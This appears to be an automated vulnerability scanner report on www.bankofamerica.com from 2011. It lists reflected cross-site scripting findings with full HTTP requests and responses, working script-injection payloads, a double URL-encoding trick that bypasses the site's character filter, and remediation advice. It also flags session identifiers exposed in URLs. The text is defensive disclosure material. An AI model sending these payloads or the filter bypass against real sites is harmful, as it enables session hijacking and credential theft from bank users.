Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the adtrack request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42021%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eec2051862 was submitted in the adtrack parameter. This input was echoed as 42021"><script>alert(1)</script>ec2051862 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the adtrack request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /promos/jump/geico_saveyoumore/?adtrack=26f28d870eac904b6e0942021%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eec2051862&cm_sp=ISG%20-%20Insurance-_-2010%20Q1-_-IP16LT0057_ProductPage-Strip_m10-1221_tad_ar89094.gif HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:38:48 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" ...[SNIP]... <a href="http://www.geico.com/landingpage/go71.htm?&adlink=&adtrack=26f28d870eac904b6e0942021"><script>alert(1)</script>ec2051862&cm_sp=ISG - Insurance-_-2010 Q1-_-IP16LT0057_ProductPage-Strip_m10-1221_tad_ar89094.gif"> ...[SNIP]...
The value of the cm_sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f483%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efe35472fc13 was submitted in the cm_sp parameter. This input was echoed as 7f483"><script>alert(1)</script>fe35472fc13 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the cm_sp request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /promos/jump/geico_saveyoumore/?adtrack=26f28d870eac904b6e09&cm_sp=ISG%20-%20Insurance-_-2010%20Q1-_-IP16LT0057_ProductPage-Strip_m10-1221_tad_ar89094.gif7f483%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efe35472fc13 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:41:57 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" ...[SNIP]... <a href="http://www.geico.com/landingpage/go71.htm?&adlink=&adtrack=26f28d870eac904b6e09&cm_sp=ISG - Insurance-_-2010 Q1-_-IP16LT0057_ProductPage-Strip_m10-1221_tad_ar89094.gif7f483"><script>alert(1)</script>fe35472fc13"> ...[SNIP]...
The value of the keyword request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c22c6"%20a%3db%207403e13d3d2 was submitted in the keyword parameter. This input was echoed as c22c6" a=b 7403e13d3d2 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /vehicle_and_personal_loans/cf/glossary_help.cfm?returnpage=auto_loans&context=tabpage_Rates&keyword=New+car+dealerc22c6"%20a%3db%207403e13d3d2 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:37:13 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head ...[SNIP]... <meta name="Description" content="Glossary - New car dealerc22c6" a=b 7403e13d3d2"> ...[SNIP]...
The value of the CM_MMC request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d490c"%20a%3db%20ad7336e6917 was submitted in the CM_MMC parameter. This input was echoed as d490c" a=b ad7336e6917 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /vehicle_and_personal_loans/index.cfm?template=learning_center&ADLINK=&CM_MMC=eLend-Auto-_-BAC-Homepage-_-AutoLoans-_-TextLinkd490c"%20a%3db%20ad7336e6917&TYPE= HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:42:30 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Connection: close
The value of the cm_mmc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e319"%20a%3db%207e5b9831036 was submitted in the cm_mmc parameter. This input was echoed as 4e319" a=b 7e5b9831036 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:31:33 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Content-Length: 104824
The value of the cm_mmc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7e09b"%3bc445ab4f7b9 was submitted in the cm_mmc parameter. This input was echoed as 7e09b";c445ab4f7b9 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:33:16 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Content-Length: 104756
The value of the cm_re request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc0af"%20a%3db%20c73bc089520 was submitted in the cm_re parameter. This input was echoed as dc0af" a=b c73bc089520 in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /vehicle_and_personal_loans/index.cfm?template=auto_loans&cm_re=eLend-Auto-_-eLending-_-ProductServicesHUB_AutoLoansdc0af"%20a%3db%20c73bc089520 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:34:59 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Connection: close
<style type="text/css" media="all"> .stb_newtext { color:#CC0000; } .standard-text1 { col ...[SNIP]... " coords="465,123,562,145" alt="Visit the Car Buying Center" href="http://www.bankofamerica.com/carbuyingcenter/?referrer_id=ZBOAAWL0001FI&cm_re=eLend-Auto-_-eLending-_-ProductServicesHUB_AutoLoansdc0af" a=b c73bc089520"> ...[SNIP]...
The value of the cm_re request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e603c"%3bca31b556bd5 was submitted in the cm_re parameter. This input was echoed as e603c";ca31b556bd5 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vehicle_and_personal_loans/index.cfm?template=auto_loans&cm_re=eLend-Auto-_-eLending-_-ProductServicesHUB_AutoLoanse603c"%3bca31b556bd5 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:36:52 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Connection: close
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c7a2"><script>alert(1)</script>ec36bd8e90c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vehicle_and_personal_loans/cf/glossary_help.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=7c7a2"><script>alert(1)</script>ec36bd8e90c
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:32:49 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE>
The value of the User-Agent HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ecc03"><script>alert(1)</script>5a168983fdd was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vehicle_and_personal_loans/cf/glossary_help.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)ecc03"><script>alert(1)</script>5a168983fdd Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:32:47 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE>
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d15a3"><script>alert(1)</script>fbc7ee37f49 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vehicle_and_personal_loans/cf/how_works.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=d15a3"><script>alert(1)</script>fbc7ee37f49
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:32:50 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE>
The value of the User-Agent HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbccf"><script>alert(1)</script>80db56333e6 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /vehicle_and_personal_loans/cf/how_works.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)fbccf"><script>alert(1)</script>80db56333e6 Connection: close
Response
HTTP/1.1 500 Internal Server Error Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:32:48 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Abnormal Connection: close
<HTML> <HEAD> <TITLE>An Error Has Occurred</TITLE>
Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.
Issue remediation
The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:19:04 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Content-Length: 72797
GET /onlinebanking/index.cfm HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:26:58 GMT Content-type: text/html X-FRAME-OPTIONS: SAMEORIGIN P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal Page-Completion-Status: Normal Set-Cookie: BOA_ADVISOR=OLB%3A2%3BSAV%3A2; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Set-Cookie: CONTEXT=en; expires=Sun, 27-Sep-2037 00:00:00 GMT; path=/; domain=.bankofamerica.com; Connection: close Set-Cookie: BIGipServerngen-www.80=1707521707.20480.0000; path=/
GET /vehicle_and_personal_loans/index.cfm?template=learn_calculators&context=financenter&calcid=auto11 HTTP/1.1 Host: www.bankofamerica.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Sun-ONE-Web-Server/6.1 Date: Tue, 23 Aug 2011 13:30:20 GMT Content-type: text/html P3P: CP="CAO IND PHY ONL UNI FIN COM NAV INT DEM CNT STA POL HEA PRE GOV CUR ADM DEV TAI PSA PSD IVAi IVDi CONo TELo OUR SAMi OTRi" Set-Cookie: state=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/ Set-Cookie: STATE=CO; expires=Mon, 01-Jan-1900 01:01:01 GMT; path=/; domain=bankofamerica.com Set-Cookie: state=CO; expires=Fri, 01-Jan-3999 01:01:01 GMT; path=/; domain=bankofamerica.com Page-Completion-Status: Normal X-FRAME-OPTIONS: SAMEORIGIN Page-Completion-Status: Normal Connection: close
<style type="text/css" media="all"> .stb_newtext { color:#CC0000; } .standard-text1 { co ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_downpayment" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NhWNHr1RxumF1r3g2qnd*jWV_pDF1r1NlkCpxtXhCqmYBfjUAcjQBeSpxtXhCqmYCfkpWh0pWhw@@" target="_blank" title="View Glossary Term: 'Down payment' in a new browser window." onclick="launchWinNoBrowserControlsSizeable('http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NhWNHr1RxumF1r3g2qnd*jWV_pDF1r1NlkCpxtXhCqmYBfjUAcjQBeSpxtXhCqmYCfkpWh0pWhw@@',400,650,'yes','yes'); return false;"><img alt="View Glossary Term: 'Down payment' in a new browser window." border="0" src="http://partners.leadfusion.com/tools/ImageServlet;jsessionid=bca4UsBnNkrVjbHfx12ht?param=qmFxpGlkunR1fmpCrGFUgyp5rmV3pk1UfmkBdTYDo2oHeWgJcjt2cDsKcmlyeTd0dj4BcjUFpzdxcDUJcT49c2oDoj52p2p2p2pxoD4BpT5yezd0eyp5sGNcomJ3fml_nFljZ3d5tWlZhTE2sG95r010fipzrGJEpnxEimgNZ21DkXZ1t211tDF2omBDpg@@"></a> ...[SNIP]... <span class="fc_paragraph_font" ><a id="glossaryanchor_term" tabindex="0" class="glossaryLink fieldLink" href="http://partners.leadfusion.com/tools/bofalc/gloss.fcs;jsessionid=bca4UsBnNkrVjbHfx12ht?LF_CssImgPath=http%3A%2F%2Fwww.bankofamerica.com%2Fcalculators%2Fleadfusion¶m=pGB*sHdbpn0NlWlCrip5sGNcomJ3fml_nFljZ2VEtXZ5ozUNcjQBcTUIZ2VEtXZ5ozYNh0pWh0pW" target="_blank" title="View Glossary Term: 'Loan term (months)' in a new browser window." 